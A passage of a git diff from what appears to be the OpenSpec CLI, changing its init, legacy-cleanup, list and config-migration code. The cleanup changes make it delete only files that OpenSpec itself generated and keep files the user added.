||||
return [...detectedToolIds];
|
||||
}
|
||||
const fallbackHint = universalToolFallbackHint(validTools);
|
||||
throw new Error(
|
||||
`No tools detected and no --tools flag provided. Valid tools:\n ${validTools.join('\n ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...`
|
||||
`No tools detected and no --tools flag provided. Valid tools:\n ${validTools.join('\n ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...${fallbackHint ? `\n${fallbackHint}` : ''}`
|
||||
);
|
||||
}
|
||||
|
||||
@@ -655,6 +660,7 @@ export class InitCommand {
|
||||
return {
|
||||
name: tool?.name || toolId,
|
||||
value: toolId,
|
||||
searchAliases: tool?.searchAliases,
|
||||
configured,
|
||||
detected: detected && !configured,
|
||||
preSelected: configured || (shouldPreselectDetected && detected && !configured),
|
||||
@@ -688,10 +694,19 @@ export class InitCommand {
|
||||
console.log(`Detected tool directories: ${detectedOnlyNames.join(', ')} (${detectionLabel})`);
|
||||
}
|
||||
|
||||
// A search that matches nothing is where someone whose assistant is not on
|
||||
// the list gives up (#653), so name the vendor-neutral entry right there.
|
||||
const universalTool = getUniversalTool();
|
||||
const universalHint =
|
||||
universalTool && validTools.includes(universalTool.value)
|
||||
? `Tool not listed? Clear the search and pick "${universalTool.name}".`
|
||||
: undefined;
|
||||
|
||||
const selectedTools = await searchableMultiSelect({
|
||||
message: `Select tools to set up (${validTools.length} available)`,
|
||||
pageSize: 15,
|
||||
choices: sortedChoices,
|
||||
emptyHint: universalHint,
|
||||
validate: (selected: string[]) => selected.length > 0 || 'Select at least one tool',
|
||||
});
|
||||
|
||||
@@ -751,8 +766,9 @@ export class InitCommand {
|
||||
);
|
||||
|
||||
if (invalidTokens.length > 0) {
|
||||
const fallbackHint = universalToolFallbackHint([...availableSet]);
|
||||
throw new Error(
|
||||
`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}`
|
||||
`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}${fallbackHint ? `\n${fallbackHint}` : ''}`
|
||||
);
|
||||
}
|
||||
|
||||
@@ -843,7 +859,6 @@ export class InitCommand {
|
||||
skillsRoot: isGlobalSkillTarget ? skillsPath : projectPath,
|
||||
isGlobalSkillTarget,
|
||||
wasConfigured: preState?.configured ?? false,
|
||||
requiresIdeRestart: tool.requiresIdeRestart,
|
||||
writesSkills: !tool.skillsDir || skillWriters.has(tool.value),
|
||||
});
|
||||
}
|
||||
@@ -856,24 +871,6 @@ export class InitCommand {
|
||||
// ═══════════════════════════════════════════════════════════
|
||||
|
||||
private async createDirectoryStructure(openspecPath: string, extendMode: boolean): Promise<void> {
|
||||
if (extendMode) {
|
||||
// In extend mode, just ensure directories exist without spinner
|
||||
const directories = [
|
||||
openspecPath,
|
||||
path.join(openspecPath, 'specs'),
|
||||
path.join(openspecPath, 'changes'),
|
||||
path.join(openspecPath, 'changes', 'archive'),
|
||||
];
|
||||
|
||||
for (const dir of directories) {
|
||||
FileSystemUtils.assertProjectArtifactPath(path.dirname(openspecPath), dir);
|
||||
await FileSystemUtils.createDirectory(dir);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const spinner = this.startSpinner('Creating OpenSpec structure...');
|
||||
|
||||
const directories = [
|
||||
openspecPath,
|
||||
path.join(openspecPath, 'specs'),
|
||||
@@ -881,17 +878,37 @@ export class InitCommand {
|
||||
path.join(openspecPath, 'changes', 'archive'),
|
||||
];
|
||||
|
||||
if (extendMode) {
|
||||
// In extend mode, just ensure directories exist without spinner
|
||||
for (const dir of directories) {
|
||||
FileSystemUtils.assertProjectArtifactPath(path.dirname(openspecPath), dir);
|
||||
await FileSystemUtils.createDirectory(dir);
|
||||
}
|
||||
await this.writeGitkeepFiles(openspecPath);
|
||||
return;
|
||||
}
|
||||
|
||||
const spinner = this.startSpinner('Creating OpenSpec structure...');
|
||||
|
||||
for (const dir of directories) {
|
||||
FileSystemUtils.assertProjectArtifactPath(path.dirname(openspecPath), dir);
|
||||
await FileSystemUtils.createDirectory(dir);
|
||||
}
|
||||
|
||||
await this.writeGitkeepFiles(openspecPath);
|
||||
|
||||
spinner.stopAndPersist({
|
||||
symbol: PALETTE.white('▌'),
|
||||
text: PALETTE.white('OpenSpec structure created'),
|
||||
});
|
||||
}
|
||||
|
||||
private async writeGitkeepFiles(openspecPath: string): Promise<void> {
|
||||
for (const relativeDir of ANCHORED_OPENSPEC_DIRS) {
|
||||
await ensureDirectoryAnchor(path.dirname(openspecPath), relativeDir);
|
||||
}
|
||||
}
|
||||
|
||||
// ═══════════════════════════════════════════════════════════
|
||||
// SKILL & COMMAND GENERATION
|
||||
// ═══════════════════════════════════════════════════════════
|
||||
@@ -1386,15 +1403,35 @@ export class InitCommand {
|
||||
)
|
||||
);
|
||||
}
|
||||
let advertisedAnInvocation = true;
|
||||
if (successfulTools.length > 0 && !commandsGenerated && !skillsGenerated) {
|
||||
// Nothing was generated for any tool: the correction above is the
|
||||
// whole story, so don't advertise an invocation that doesn't exist.
|
||||
advertisedAnInvocation = false;
|
||||
} else if (activeWorkflows.includes('propose')) {
|
||||
printStartHints('/opsx:propose');
|
||||
} else if (activeWorkflows.includes('new')) {
|
||||
printStartHints('/opsx:new');
|
||||
} else {
|
||||
console.log("Done. Run 'openspec config profile' to configure your workflows.");
|
||||
advertisedAnInvocation = false;
|
||||
}
|
||||
|
||||
// Workflows the active profile left out. Setup is the only moment a user
|
||||
// is told what exists, so name them here rather than let a missing
|
||||
// command read as a broken install (#1076). Skipped when the branch above
|
||||
// already pointed at `openspec config profile`, and when no tool received
|
||||
// a workflow surface at all (no tools selected, or none that could take
|
||||
// one) — there, adding workflows writes nothing, so naming them would
|
||||
// point at the wrong problem.
|
||||
if (advertisedAnInvocation && (commandsGenerated || skillsGenerated)) {
|
||||
const optionalWorkflowsNote = formatOptionalWorkflowsNote(activeWorkflows);
|
||||
if (optionalWorkflowsNote) {
|
||||
console.log();
|
||||
for (const line of optionalWorkflowsNote) {
|
||||
console.log(chalk.dim(line));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Links
|
||||
@@ -1402,37 +1439,16 @@ export class InitCommand {
|
||||
console.log(`Learn more: ${chalk.cyan('https://github.com/Fission-AI/OpenSpec')}`);
|
||||
console.log(`Feedback: ${chalk.cyan('https://github.com/Fission-AI/OpenSpec/issues')}`);
|
||||
|
||||
// Restart instruction only when at least one IDE/editor-resident tool
|
||||
// actually received a generated surface. Two conditions, coupled to the SAME
|
||||
// tool: (1) its commands/skills are loaded by a long-running editor process
|
||||
// (CLI tools pick the files up immediately, so a restart line would be wrong
|
||||
// for them — see #1067), and (2) a surface was actually generated for it
|
||||
// under the active delivery (an IDE tool that generated nothing has nothing a
|
||||
// restart would pick up, even if a co-configured CLI tool did generate).
|
||||
// Wording follows what the IDE tool itself generated, not the global
|
||||
// aggregate: it must not say "commands" when the IDE tool only got skills
|
||||
// while a co-configured CLI tool got commands. Not "slash commands" either:
|
||||
// Amazon Q's generated files are prompt-library entries invoked with @, so a
|
||||
// restart line promising slash commands would be wrong for it.
|
||||
const restartCommandsGenerated = successfulTools.some(
|
||||
(tool) =>
|
||||
tool.requiresIdeRestart &&
|
||||
shouldGenerateCommandsForTool(tool.value, activeDelivery)
|
||||
// Restart instruction for successfully configured IDE/editor-resident tools
|
||||
// with a supported surface under the active delivery. The rule and wording live in
|
||||
// formatIdeRestart so `update` says the same thing for the same event.
|
||||
const restartHint = formatIdeRestart(
|
||||
successfulTools.map((tool) => tool.value),
|
||||
activeDelivery
|
||||
);
|
||||
const restartSkillsGenerated = successfulTools.some(
|
||||
(tool) =>
|
||||
tool.requiresIdeRestart &&
|
||||
shouldGenerateSkillsForTool(tool.value, activeDelivery)
|
||||
);
|
||||
if (restartCommandsGenerated || restartSkillsGenerated) {
|
||||
if (restartHint) {
|
||||
console.log();
|
||||
console.log(
|
||||
chalk.white(
|
||||
restartCommandsGenerated
|
||||
? 'Restart your IDE for the new commands to take effect.'
|
||||
: 'Restart your IDE for the new skills to take effect.'
|
||||
)
|
||||
);
|
||||
console.log(chalk.white(restartHint));
|
||||
}
|
||||
|
||||
console.log();
|
||||
|
||||
+199
-12
@@ -26,19 +26,27 @@ export const LEGACY_CONFIG_FILES = [
|
||||
'QWEN.md',
|
||||
] as const;
|
||||
|
||||
/** The three commands the old SlashCommandRegistry wrote into each directory. */
|
||||
const LEGACY_DIRECTORY_COMMAND_FILES = ['proposal.md', 'apply.md', 'archive.md'] as const;
|
||||
|
||||
/**
|
||||
* Legacy slash command patterns from the old SlashCommandRegistry.
|
||||
* These map toolId to the path pattern where legacy commands were created.
|
||||
* Some tools used a directory structure, others used individual files.
|
||||
*/
|
||||
export const LEGACY_SLASH_COMMAND_PATHS: Record<string, LegacySlashCommandPattern> = {
|
||||
// Directory-based: .tooldir/commands/openspec/ or .tooldir/commands/openspec/*.md
|
||||
'claude': { type: 'directory', path: '.claude/commands/openspec' },
|
||||
'codebuddy': { type: 'directory', path: '.codebuddy/commands/openspec' },
|
||||
'qoder': { type: 'directory', path: '.qoder/commands/openspec' },
|
||||
'lingma': { type: 'directory', path: '.lingma/commands/openspec' },
|
||||
'crush': { type: 'directory', path: '.crush/commands/openspec' },
|
||||
'gemini': { type: 'directory', path: '.gemini/commands/openspec' },
|
||||
// Directory-based: .tooldir/commands/openspec/. Each entry names the files
|
||||
// OpenSpec wrote there, because users keep their own commands in the same
|
||||
// folder: only those files are deleted, and the folder only once it is empty.
|
||||
'claude': { type: 'directory', path: '.claude/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
||||
'codebuddy': { type: 'directory', path: '.codebuddy/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
||||
'qoder': { type: 'directory', path: '.qoder/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
||||
// Lingma support arrived after the opsx rename and has always written to
|
||||
// `.lingma/commands/opsx/`, so OpenSpec never put a file here: only an empty
|
||||
// leftover folder is removed.
|
||||
'lingma': { type: 'directory', path: '.lingma/commands/openspec', managedFileNames: [] },
|
||||
'crush': { type: 'directory', path: '.crush/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
||||
'gemini': { type: 'directory', path: '.gemini/commands/openspec', managedFileNames: ['proposal.toml', 'apply.toml', 'archive.toml'] },
|
||||
|
||||
// File-based: individual openspec-*.md files in a commands/workflows/prompts folder
|
||||
'cursor': { type: 'files', pattern: '.cursor/commands/openspec-*.md' },
|
||||
@@ -110,6 +118,8 @@ export const LEGACY_GLOBAL_SLASH_COMMAND_PATHS: Record<string, LegacyGlobalPromp
|
||||
export interface LegacySlashCommandPattern {
|
||||
type: 'directory' | 'files';
|
||||
path?: string; // For directory type
|
||||
/** For directory type: the only files in `path` that OpenSpec wrote. */
|
||||
managedFileNames?: readonly string[];
|
||||
pattern?: string | string[]; // For files type (glob pattern or array of patterns)
|
||||
}
|
||||
|
||||
@@ -320,8 +330,20 @@ export async function detectLegacySlashCommands(
|
||||
for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
|
||||
if (pattern.type === 'directory' && pattern.path) {
|
||||
const dirPath = FileSystemUtils.joinPath(projectPath, pattern.path);
|
||||
if (await FileSystemUtils.directoryExists(dirPath)) {
|
||||
if (!(await FileSystemUtils.directoryExists(dirPath))) {
|
||||
continue;
|
||||
}
|
||||
const entries = await readLegacyCommandDir(dirPath, pattern.managedFileNames ?? []);
|
||||
if (!entries) {
|
||||
continue;
|
||||
}
|
||||
if (entries.others.length === 0) {
|
||||
// Only OpenSpec's own files, or nothing: the whole folder can go.
|
||||
directories.push(pattern.path);
|
||||
} else {
|
||||
// The folder also holds the user's files, so report OpenSpec's files
|
||||
// one by one; cleanup deletes those and leaves the folder in place.
|
||||
files.push(...entries.managed.map((name) => `${pattern.path}/${name}`));
|
||||
}
|
||||
} else if (pattern.type === 'files' && pattern.pattern) {
|
||||
const patterns = Array.isArray(pattern.pattern) ? pattern.pattern : [pattern.pattern];
|
||||
@@ -335,6 +357,102 @@ export async function detectLegacySlashCommands(
|
||||
return { directories, files };
|
||||
}
|
||||
|
||||
/**
|
||||
* Splits a legacy command directory's entries into the files OpenSpec wrote
|
||||
* there and everything else, sorted. A file counts as OpenSpec's only when it
|
||||
* is a regular file with a managed name whose content still carries the
|
||||
* OpenSpec markers every legacy command was written with; a folder, a link, or
|
||||
* a same-named file the user wrote is the user's. Subdirectories are listed
|
||||
* with a trailing '/'. Returns undefined when the directory cannot be read or
|
||||
* is itself a symlink, which is never followed.
|
||||
*/
|
||||
async function readLegacyCommandDir(
|
||||
dirPath: string,
|
||||
managedFileNames: readonly string[]
|
||||
): Promise<{ managed: string[]; others: string[] } | undefined> {
|
||||
let entries;
|
||||
try {
|
||||
if ((await fs.lstat(dirPath)).isSymbolicLink()) {
|
||||
return undefined;
|
||||
}
|
||||
entries = await fs.readdir(dirPath, { withFileTypes: true });
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
const managed: string[] = [];
|
||||
const others: string[] = [];
|
||||
for (const entry of entries) {
|
||||
if (
|
||||
entry.isFile() &&
|
||||
managedFileNames.includes(entry.name) &&
|
||||
(await isGeneratedLegacyCommand(path.join(dirPath, entry.name)))
|
||||
) {
|
||||
managed.push(entry.name);
|
||||
} else {
|
||||
others.push(entry.isDirectory() ? `${entry.name}/` : entry.name);
|
||||
}
|
||||
}
|
||||
return { managed: managed.sort(), others: others.sort() };
|
||||
}
|
||||
|
||||
/**
|
||||
* The legacy command directory, and its tool, that a repo-local path is one of
|
||||
* OpenSpec's own files in.
|
||||
*/
|
||||
function legacyCommandDirForFile(file: string): { toolId: string; dir: string } | undefined {
|
||||
const normalizedFile = normalizePathForMatch(file);
|
||||
for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {
|
||||
if (pattern.type !== 'directory' || !pattern.path) continue;
|
||||
const dir = pattern.path;
|
||||
if (pattern.managedFileNames?.some((name) => normalizedFile === `${dir}/${name}`)) {
|
||||
return { toolId, dir };
|
||||
}
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes a legacy command directory once OpenSpec's files are gone from it,
|
||||
* or records what is left in it as kept. Never recursive: whatever remains was
|
||||
* not written by OpenSpec. Returns true when the directory was removed.
|
||||
*/
|
||||
async function settleLegacyCommandDir(
|
||||
projectPath: string,
|
||||
dirPath: string,
|
||||
result: CleanupResult
|
||||
): Promise<boolean> {
|
||||
const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
|
||||
const remaining = await readLegacyCommandDir(fullPath, []);
|
||||
if (!remaining) {
|
||||
return false;
|
||||
}
|
||||
if (remaining.others.length === 0) {
|
||||
await fs.rmdir(fullPath);
|
||||
result.deletedDirs.push(dirPath);
|
||||
return true;
|
||||
}
|
||||
result.keptFiles!.push(...remaining.others.map((name) => `${dirPath}/${name}`));
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether a file is a legacy command OpenSpec generated: a regular file (not a
|
||||
* link) whose content carries the OpenSpec markers. Every legacy slash command
|
||||
* was written with them, and OpenSpec refused to update one that lost them, so
|
||||
* a same-named file without them is the user's.
|
||||
*/
|
||||
async function isGeneratedLegacyCommand(filePath: string): Promise<boolean> {
|
||||
try {
|
||||
if (!(await fs.lstat(filePath)).isFile()) {
|
||||
return false;
|
||||
}
|
||||
return hasOpenSpecMarkers(await fs.readFile(filePath, 'utf-8'));
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Detects legacy global slash command files.
|
||||
*
|
||||
@@ -506,6 +624,8 @@ export interface CleanupResult {
|
||||
modifiedFiles: string[];
|
||||
/** Directories that were deleted */
|
||||
deletedDirs: string[];
|
||||
/** Entries left in a legacy command directory because OpenSpec did not write them */
|
||||
keptFiles?: string[];
|
||||
/** Whether project.md exists and needs manual migration */
|
||||
projectMdNeedsMigration: boolean;
|
||||
/** Error messages if any operations failed */
|
||||
@@ -529,6 +649,7 @@ export async function cleanupLegacyArtifacts(
|
||||
deletedFileReplacementLabels: {},
|
||||
modifiedFiles: [],
|
||||
deletedDirs: [],
|
||||
keptFiles: [],
|
||||
projectMdNeedsMigration: detection.hasProjectMd,
|
||||
errors: [],
|
||||
};
|
||||
@@ -548,21 +669,50 @@ export async function cleanupLegacyArtifacts(
|
||||
}
|
||||
}
|
||||
|
||||
// Delete legacy slash command directories (these are 100% OpenSpec-managed)
|
||||
// Delete legacy slash command directories: only the files OpenSpec wrote,
|
||||
// then the directory once it is empty. Detection reports a directory only
|
||||
// when it holds nothing else, but a file the user added since is still kept.
|
||||
for (const dirPath of detection.slashCommandDirs) {
|
||||
const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
|
||||
try {
|
||||
await fs.rm(fullPath, { recursive: true, force: true });
|
||||
result.deletedDirs.push(dirPath);
|
||||
const managedFileNames = legacyManagedFileNamesForDir(dirPath);
|
||||
const entries = await readLegacyCommandDir(fullPath, managedFileNames);
|
||||
if (!entries) {
|
||||
continue;
|
||||
}
|
||||
const deleted: string[] = [];
|
||||
for (const name of entries.managed) {
|
||||
const filePath = path.join(fullPath, name);
|
||||
// Check again just before deleting: the file may have been replaced
|
||||
// with the user's own since the scan. A kept file is reported below.
|
||||
if (!(await isGeneratedLegacyCommand(filePath))) {
|
||||
continue;
|
||||
}
|
||||
await fs.unlink(filePath);
|
||||
deleted.push(name);
|
||||
}
|
||||
if (!(await settleLegacyCommandDir(projectPath, dirPath, result))) {
|
||||
result.deletedFiles.push(...deleted.map((name) => `${dirPath}/${name}`));
|
||||
}
|
||||
} catch (error: any) {
|
||||
result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Delete legacy slash command files (these are 100% OpenSpec-managed)
|
||||
const partlyCleanedDirs = new Set<string>();
|
||||
for (const filePath of detection.slashCommandFiles) {
|
||||
const fullPath = FileSystemUtils.joinPath(projectPath, filePath);
|
||||
try {
|
||||
const commandDir = legacyCommandDirForFile(filePath);
|
||||
if (commandDir) {
|
||||
partlyCleanedDirs.add(commandDir.dir);
|
||||
// Check again just before deleting: the file may have been replaced
|
||||
// with the user's own since detection. A kept file is reported below.
|
||||
if (!(await isGeneratedLegacyCommand(fullPath))) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
await fs.unlink(fullPath);
|
||||
result.deletedFiles.push(filePath);
|
||||
} catch (error: any) {
|
||||
@@ -570,6 +720,16 @@ export async function cleanupLegacyArtifacts(
|
||||
}
|
||||
}
|
||||
|
||||
// A legacy command directory that also held the user's files was cleaned
|
||||
// file by file above; record what was left in it.
|
||||
for (const dirPath of partlyCleanedDirs) {
|
||||
try {
|
||||
await settleLegacyCommandDir(projectPath, dirPath, result);
|
||||
} catch (error: any) {
|
||||
result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Delete managed global slash command files (these are 100% OpenSpec-managed)
|
||||
const globalPromptMatchesByPath = new Map(
|
||||
getLegacyGlobalPromptMatches(detection).map((prompt) => [prompt.path, prompt] as const)
|
||||
@@ -621,7 +781,14 @@ export async function cleanupLegacyArtifacts(
|
||||
export function formatCleanupSummary(result: CleanupResult): string {
|
||||
const lines: string[] = [];
|
||||
|
||||
if (result.deletedFiles.length > 0 || result.deletedDirs.length > 0 || result.modifiedFiles.length > 0) {
|
||||
const keptFiles = result.keptFiles ?? [];
|
||||
|
||||
if (
|
||||
result.deletedFiles.length > 0 ||
|
||||
result.deletedDirs.length > 0 ||
|
||||
result.modifiedFiles.length > 0 ||
|
||||
keptFiles.length > 0
|
||||
) {
|
||||
lines.push('Cleaned up legacy files:');
|
||||
|
||||
for (const file of result.deletedFiles) {
|
||||
@@ -637,6 +804,10 @@ export function formatCleanupSummary(result: CleanupResult): string {
|
||||
lines.push(` ✓ Removed ${dir}/ (replaced by OpenSpec skills and commands)`);
|
||||
}
|
||||
|
||||
for (const entry of keptFiles) {
|
||||
lines.push(` • Kept ${entry} (not created by OpenSpec)`);
|
||||
}
|
||||
|
||||
for (const file of result.modifiedFiles) {
|
||||
lines.push(` ✓ Removed OpenSpec markers from ${file}`);
|
||||
}
|
||||
@@ -832,8 +1003,24 @@ function legacyToolIdForDir(dir: string): string | undefined {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
/** The files OpenSpec wrote into a repo-local legacy slash-command directory. */
|
||||
function legacyManagedFileNamesForDir(dir: string): readonly string[] {
|
||||
const normalizedDir = normalizePathForMatch(dir);
|
||||
for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
|
||||
if (pattern.type === 'directory' && pattern.path === normalizedDir) {
|
||||
return pattern.managedFileNames ?? [];
|
||||
}
|
||||
}
|
||||
return [];
|
||||
}
|
||||
|
||||
/** The tool that owns a repo-local legacy slash-command file, if any. */
|
||||
function legacyToolIdForFile(file: string): string | undefined {
|
||||
// A file from a directory-based tool, reported because the directory also
|
||||
// holds the user's own files.
|
||||
const commandDir = legacyCommandDirForFile(file);
|
||||
if (commandDir) return commandDir.toolId;
|
||||
|
||||
// Normalize to forward slashes so the glob patterns match on Windows too.
|
||||
const normalizedFile = normalizePathForMatch(file);
|
||||
for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {
|
||||
|
||||
+61
-10
@@ -5,12 +5,19 @@ import { readFileSync, type Dirent } from 'fs';
|
||||
import { MarkdownParser } from './parsers/markdown-parser.js';
|
||||
import type { RootOutput } from './root-selection.js';
|
||||
import { discoverSpecFiles } from '../utils/spec-discovery.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChanges,
|
||||
type NestedChangeFinding,
|
||||
} from '../utils/nested-change.js';
|
||||
|
||||
interface ChangeInfo {
|
||||
name: string;
|
||||
completedTasks: number;
|
||||
totalTasks: number;
|
||||
lastModified: Date;
|
||||
/** Set when the entry is a namespace folder rather than a change (#1846). */
|
||||
nested?: string[];
|
||||
}
|
||||
|
||||
interface ListOptions {
|
||||
@@ -28,6 +35,17 @@ function isMissingPathError(error: unknown): boolean {
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* An entry that cannot be dated because it no longer resolves: it was removed
|
||||
* after `readdir` listed it, or it is a symlink whose target is missing (an
|
||||
* Emacs `.#file` lock) or that loops back on itself.
|
||||
*/
|
||||
function isUnresolvableEntryError(error: unknown): boolean {
|
||||
if (typeof error !== 'object' || error === null || !('code' in error)) return false;
|
||||
const code = (error as NodeJS.ErrnoException).code;
|
||||
return code === 'ENOENT' || code === 'ELOOP';
|
||||
}
|
||||
|
||||
async function readChangeDirectoryEntries(changesDir: string): Promise<Dirent[]> {
|
||||
try {
|
||||
return await fs.readdir(changesDir, { withFileTypes: true });
|
||||
@@ -48,13 +66,18 @@ async function getLastModified(dirPath: string): Promise<Date> {
|
||||
const entries = await fs.readdir(dir, { withFileTypes: true });
|
||||
for (const entry of entries) {
|
||||
const fullPath = path.join(dir, entry.name);
|
||||
if (entry.isDirectory()) {
|
||||
await walk(fullPath);
|
||||
} else {
|
||||
const stat = await fs.stat(fullPath);
|
||||
if (latest === null || stat.mtime > latest) {
|
||||
latest = stat.mtime;
|
||||
try {
|
||||
if (entry.isDirectory()) {
|
||||
await walk(fullPath);
|
||||
} else {
|
||||
const stat = await fs.stat(fullPath);
|
||||
if (latest === null || stat.mtime > latest) {
|
||||
latest = stat.mtime;
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
// Skip the one entry rather than fail the listing of every change.
|
||||
if (!isUnresolvableEntryError(error)) throw error;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -119,6 +142,14 @@ export class ListCommand {
|
||||
// Collect information about each change
|
||||
const changes: ChangeInfo[] = [];
|
||||
|
||||
// A directory that only wraps nested change directories is still listed -
|
||||
// hiding it would hide a real change whenever the probe is wrong - but it
|
||||
// is listed as what it is, so the nesting stops failing silently (#1846).
|
||||
const nestedFindings = await findNestedChanges(changesDir, changeDirs);
|
||||
const nestedByName = new Map<string, NestedChangeFinding>(
|
||||
nestedFindings.map((finding) => [finding.name, finding])
|
||||
);
|
||||
|
||||
for (const changeDir of changeDirs) {
|
||||
const progress = await getTaskProgressForChange(changesDir, changeDir, targetPath);
|
||||
const changePath = path.join(changesDir, changeDir);
|
||||
@@ -127,7 +158,8 @@ export class ListCommand {
|
||||
name: changeDir,
|
||||
completedTasks: progress.completed,
|
||||
totalTasks: progress.total,
|
||||
lastModified
|
||||
lastModified,
|
||||
...(nestedByName.has(changeDir) ? { nested: nestedByName.get(changeDir)!.nested } : {})
|
||||
});
|
||||
}
|
||||
|
||||
@@ -145,9 +177,22 @@ export class ListCommand {
|
||||
completedTasks: c.completedTasks,
|
||||
totalTasks: c.totalTasks,
|
||||
lastModified: c.lastModified.toISOString(),
|
||||
status: c.totalTasks === 0 ? 'no-tasks' : c.completedTasks === c.totalTasks ? 'complete' : 'in-progress'
|
||||
status: c.totalTasks === 0 ? 'no-tasks' : c.completedTasks === c.totalTasks ? 'complete' : 'in-progress',
|
||||
...(c.nested ? { nested: c.nested } : {})
|
||||
}));
|
||||
console.log(JSON.stringify({ changes: jsonOutput, ...(root ? { root } : {}) }, null, 2));
|
||||
// Additive: the entries keep their shape so existing consumers are
|
||||
// unaffected, and the nesting is reported alongside them.
|
||||
const warnings = nestedFindings.map((finding) => ({
|
||||
code: 'nested_change_directory',
|
||||
name: finding.name,
|
||||
nested: finding.nested,
|
||||
message: describeNestedChange(finding)
|
||||
}));
|
||||
console.log(JSON.stringify({
|
||||
changes: jsonOutput,
|
||||
...(warnings.length > 0 ? { warnings } : {}),
|
||||
...(root ? { root } : {})
|
||||
}, null, 2));
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -157,10 +202,16 @@ export class ListCommand {
|
||||
const nameWidth = Math.max(...changes.map(c => c.name.length));
|
||||
for (const change of changes) {
|
||||
const paddedName = change.name.padEnd(nameWidth);
|
||||
const status = formatTaskStatus({ total: change.totalTasks, completed: change.completedTasks });
|
||||
const status = change.nested
|
||||
? 'not a change'
|
||||
: formatTaskStatus({ total: change.totalTasks, completed: change.completedTasks });
|
||||
const timeAgo = formatRelativeTime(change.lastModified);
|
||||
console.log(`${padding}${paddedName} ${status.padEnd(12)} ${timeAgo}`);
|
||||
}
|
||||
for (const finding of nestedFindings) {
|
||||
console.log('');
|
||||
console.log(`Warning: ${describeNestedChange(finding)}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
*/
|
||||
|
||||
import { AI_TOOLS, type AIToolOption } from './config.js';
|
||||
import { getGlobalConfig, getGlobalConfigPath, saveGlobalConfig, type Delivery } from './global-config.js';
|
||||
import { getGlobalConfig, getGlobalConfigPath, isGlobalConfigUnreadable, saveGlobalConfig, type Delivery } from './global-config.js';
|
||||
import { CommandAdapterRegistry } from './command-generation/index.js';
|
||||
import {
|
||||
resolveCommandInvocation,
|
||||
@@ -560,6 +560,12 @@ function inferDelivery(artifacts: InstalledWorkflowArtifacts): Delivery {
|
||||
* - If profile field already exists: no-op.
|
||||
*/
|
||||
export function migrateIfNeeded(projectPath: string, tools: AIToolOption[]): void {
|
||||
// A config that cannot be parsed, or is not a JSON object, is never saved
|
||||
// over; skip migration rather than fail init or update on it.
|
||||
if (isGlobalConfigUnreadable()) {
|
||||
return;
|
||||
}
|
||||
|
||||
const config = getGlobalConfig();
|
||||
|
||||
// Check raw config file for profile field presence
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
* src/utils/command-references.ts at the call site.
|
||||
*/
|
||||
|
||||
import type { WorkflowId } from './profiles.js';
|
||||
import { ALL_WORKFLOWS, type WorkflowId } from './profiles.js';
|
||||
|
||||
export type OnboardingCommand = {
|
||||
workflow: WorkflowId;
|
||||
@@ -48,3 +48,33 @@ export function getOnboardingCommands(
|
||||
const installed = new Set(workflows);
|
||||
return ONBOARDING_COMMANDS.filter((entry) => installed.has(entry.workflow));
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the note telling a user which workflows their profile left out, or
|
||||
* null when every workflow is already installed.
|
||||
*
|
||||
* Setup output otherwise never names the workflows that exist but were not
|
||||
* installed, so a user on the default profile has no way to learn that
|
||||
* `/opsx:ff` and friends are one command away. The docs say it; nobody reads
|
||||
* the docs before typing a command that isn't there.
|
||||
*/
|
||||
export function formatOptionalWorkflowsNote(
|
||||
installedWorkflows: readonly string[]
|
||||
): string[] | null {
|
||||
const installed = new Set(installedWorkflows);
|
||||
const missing = ALL_WORKFLOWS.filter((workflow) => !installed.has(workflow));
|
||||
|
||||
if (missing.length === 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const label = missing.length === 1 ? 'workflow is' : 'workflows are';
|
||||
const pronoun = missing.length === 1 ? 'it' : 'them';
|
||||
// `openspec config profile` offers to apply to this project before it
|
||||
// exits, and prints the `openspec update` guidance itself when declined, so
|
||||
// naming a second command here would be one step too many.
|
||||
return [
|
||||
`Note: ${missing.length} more ${label} available (${missing.join(', ')}).`,
|
||||
`Add ${pronoun} with \`openspec config profile\`.`,
|
||||
];
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user